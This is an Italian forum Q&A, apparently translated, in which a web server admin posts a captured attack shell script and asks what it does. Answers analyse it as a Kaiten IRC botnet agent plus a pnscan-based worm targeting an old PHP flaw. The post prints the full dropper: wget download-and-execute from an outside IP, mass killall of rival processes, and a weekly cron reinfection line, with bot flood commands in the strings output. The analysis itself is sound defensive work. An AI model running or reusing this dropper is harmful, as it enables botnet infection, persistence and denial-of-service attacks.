Cosa fa questo sh script se eseguito?

13

Ho intercettato un attacco al mio server web che ritengo non abbia avuto successo. L'autore dell'attacco ha tentato di eseguire questo script:

#!/bin/sh

cd /tmp;cd /dev/shm
wget -q http://221.132.37.26/xx -O ...x
chmod +x ...x
./...x
cd /dev/shm ; wget 221.132.37.26/ru ; bash ru ; rm -rf ru
cd /dev/shm ; wget 221.132.37.26/rr; bash rr; rm -rf rr
killall -9 .a .b .c .d .e .f .g .h .i .j. .k .l .m .n .o .p .q .r .s .t .u .v .x .z .y .w php
killall -9 .rnd
killall -9 .a
killall -9 kernelupdate
killall -9 dev
killall -9 sh
killall -9 bash
killall -9 apache2
killall -9 httpd
killall -9 cla
killall -9 ka
killall -9 kav
killall -9 m32
killall -9 m64
killall -9 perl
killall -9 sh
killall -9 sucrack
killall -9 m64 m32 minerd32 minerd64 minerd  cla qt64 qt32 clover cron sh wget
kill -9 'pidof .rnd'
kill -9 'pidof .a .b .c .d .e .f .g .h .i .j. .k .l .m .n .o .p .q .r .s .t .u .v .x .z .y .w'
kill -9 'pidof dev'
kill -9 'pidof perl'
kill -9 'pidof m32'
kill -9 'pidof m64'
kill -9 'pidof ka'
kill -9 'pidof kav'
kill -9 'pidof cla'
kill -9 'pidof sh'
kill -9 'pidof sucrack'
echo "@weekly wget -q http://221.132.37.26/sh -O /tmp/sh;sh /tmp/sh;rm -rd /tmp/sh" >> /tmp/cron
crontab /tmp/cron
rm -rf /tmp/cron

Vedo che recupera altri tre script di wget, li esegue, li elimina (possibili per scopi di tracciamento), uccide alcuni processi, imposta un cron da eseguire settimanalmente, quindi lo rimuove (?!).

Come possiamo vedere, uccide Apache e sh stesso. È strano dal momento che se Apache e sh vengono uccisi l'attacco non funzionerebbe più, vero?

Ho motivo di credere che questo payload non sia mai stato effettivamente eseguito, perché:

  1. L'attacco è stato tentato utilizzando le richieste GET. Grazie ad Apache mod_rewrite, tutto ciò che ha ottenuto è stato un 404.
  2. L'autore dell'attacco stava tentando di sfruttare una vulnerabilità del backend PHP, che non è applicabile a me.

Tutto ciò significa che sono ancora al sicuro? Penso che fare un crontab -l controlli se il mio server è compromesso. L'output era:

ubuntu@ip-172-31-24-52:~$ crontab -l
no crontab for ubuntu
ubuntu@ip-172-31-24-52:~$ sudo su
root@ip-172-31-24-52:/home/ubuntu# crontab -l
no crontab for root
    
posta Patrick Bassut 15.03.2014 - 21:43
fonte

3 risposte

19

Ho scaricato il primo URL ( link ) e ho eseguito

$ file xx
xx: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.15, not stripped

Quindi, è un programma eseguibile pensato per funzionare su una macchina Linux. Presumo che tu stia utilizzando un server Linux. Successivamente, vogliamo vedere cosa fa il programma, ma ovviamente non lo si vuole eseguire. Un modo rapido è quello di ignorare tutto il codice di istruzioni del computer incorporato nell'eseguibile e osservare solo quali stringhe leggibili dall'uomo potrebbero contenere. Quindi, ho eseguito

$ strings xx | less

[... excerpt ...]
NOTICE %s :Receiving file.
NOTICE %s :Saved as %s
NOTICE %s :Spoofs: %d.%d.%d.%d
NOTICE %s :Spoofs: %d.%d.%d.%d - %d.%d.%d.%d
NOTICE %s :Kaiten wa goraku
NOTICE %s :NICK <nick>
NOTICE %s :Nick cannot be larger than 9 characters.
NICK %s
NOTICE %s :DISABLE <pass>
Disabled
Enabled and awaiting orders
NOTICE %s :Current status is: %s.
NOTICE %s :Already disabled.
NOTICE %s :Password too long! > 254
NOTICE %s :Disable sucessful.
NOTICE %s :ENABLE <pass>
NOTICE %s :Already enabled.
NOTICE %s :Wrong password
NOTICE %s :Password correct.
NOTICE %s :Removed all spoofs
NOTICE %s :What kind of subnet address is that? Do something like: 169.40
NOTICE %s :Unable to resolve %s
NOTICE %s :UDP <target> <port> <secs>
NOTICE %s :Packeting %s.
NOTICE %s :PAN <target> <port> <secs>
NOTICE %s :Panning %s.
NOTICE %s :TSUNAMI <target> <secs>
NOTICE %s :Tsunami heading for %s.
NOTICE %s :UNKNOWN <target> <secs>
NOTICE %s :Unknowning %s.
NOTICE %s :MOVE <server>
NOTICE %s :TSUNAMI <target> <secs>                          = Special packeter that wont be blocked by most firewalls
NOTICE %s :PAN <target> <port> <secs>                       = An advanced syn flooder that will kill most network drivers
NOTICE %s :UDP <target> <port> <secs>                       = A udp flooder
NOTICE %s :UNKNOWN <target> <secs>                          = Another non-spoof udp flooder
NOTICE %s :NICK <nick>                                      = Changes the nick of the client
NOTICE %s :SERVER <server>                                  = Changes servers
NOTICE %s :GETSPOOFS                                        = Gets the current spoofing
NOTICE %s :SPOOFS <subnet>                                  = Changes spoofing to a subnet
NOTICE %s :DISABLE                                          = Disables all packeting from this client
NOTICE %s :ENABLE                                           = Enables all packeting from this client
NOTICE %s :KILL                                             = Kills the client
NOTICE %s :GET <http address> <save as>                     = Downloads a file off the web and saves it onto the hd
NOTICE %s :VERSION                                          = Requests version of client
NOTICE %s :KILLALL                                          = Kills all current packeting
NOTICE %s :HELP                                             = Displays this
NOTICE %s :IRC <command>                                    = Sends this command to the server
NOTICE %s :SH <command>                                     = Executes a command
NOTICE %s :Killing pid %d.
TSUNAMI
UNKNOWN
NICK
SERVER
GETSPOOFS

"Abilitato e in attesa di ordini" suggerisce che questo è un programma che fa funzionare il tuo server come un nodo botnet.

Il prossimo file scaricato, link , è uno script di shell, che a sua volta scarica un file .tar.gz da link (o 32.tgz, a seconda dell'architettura della CPU), quindi installa ed esegue. Questo archivio contiene tre file:

  • Un interprete php compilato per Linux
  • Un altro eseguibile di Linux denominato pnscan
  • Uno script di shell denominato run che avvia pnscan

L'altra cosa che fa è creare un cron job settimanale che scarica ed esegue link , che contiene esattamente lo script della shell che hai postato sopra. Fondamentalmente, reinfetterà automaticamente la tua macchina ogni settimana a meno che tu non disinstalli quel cron job.

Azione consigliata

Il codice sembra essere stato creato da script kiddies. Usa strumenti esistenti come pnscan , legati insieme ad alcuni script di shell. Non è un codice di qualità Stuxnet.

Dalle informazioni che hai aggiunto in seguito (il tuo server Apache non ha il supporto PHP, il tuo server Apache è ancora in esecuzione normalmente e nessun processo cron è stato installato), sembra probabile che il codice non sia mai stato effettivamente eseguito sul tuo server. In tal caso, probabilmente stai bene! Esegui ps ax per controllare se qualcosa di sospetto è in esecuzione e dovresti stare bene.

    
risposta data 15.03.2014 - 22:27
fonte
4

Vedi questo post del blog per tutti i dettagli :

Ever since the vulnerability was discovered in Apache/PHP which allowed for PHP-code to be executed using a simple HTTP POST-request, automated attacks was launched widely which lead to a large number of compromised hosts.

Those attacks have decreased during the last months, however, one of these automated attacks was particularly interesting due to the fact that the approach used can be categorized as worm-like. Let's go into the whole attack on a higher level before going into the technical part.

The actor used the exploit released by kingcope [exploit-db] with a modified payload which downloaded a few scripts and binaries which in turn started scanning a random A-block of IPv4 addresses. If a host was found to be running Apache, exploitation attempts would be launched and the whole process starts over. These attacks was first spotted around November 2013.

Sulla base delle informazioni delineate, sembra che si tratti di una sorta di botnet che lavora sugli exploit sopra menzionati.

    
risposta data 15.03.2014 - 22:37
fonte
1

questo è un agente botnet semplice e sorprendentemente poco interessante.

Fondamentalmente seleziona un intervallo di indirizzi casuale e scansiona per l'ascolto dei server HTTP utilizzando pnscan . Quindi tenta di sfruttare la una vecchia vulnerabilità PHP sull'host che trova . E poi da lì si replica su altri server.

    
risposta data 16.03.2014 - 02:15
fonte

Leggi altre domande sui tag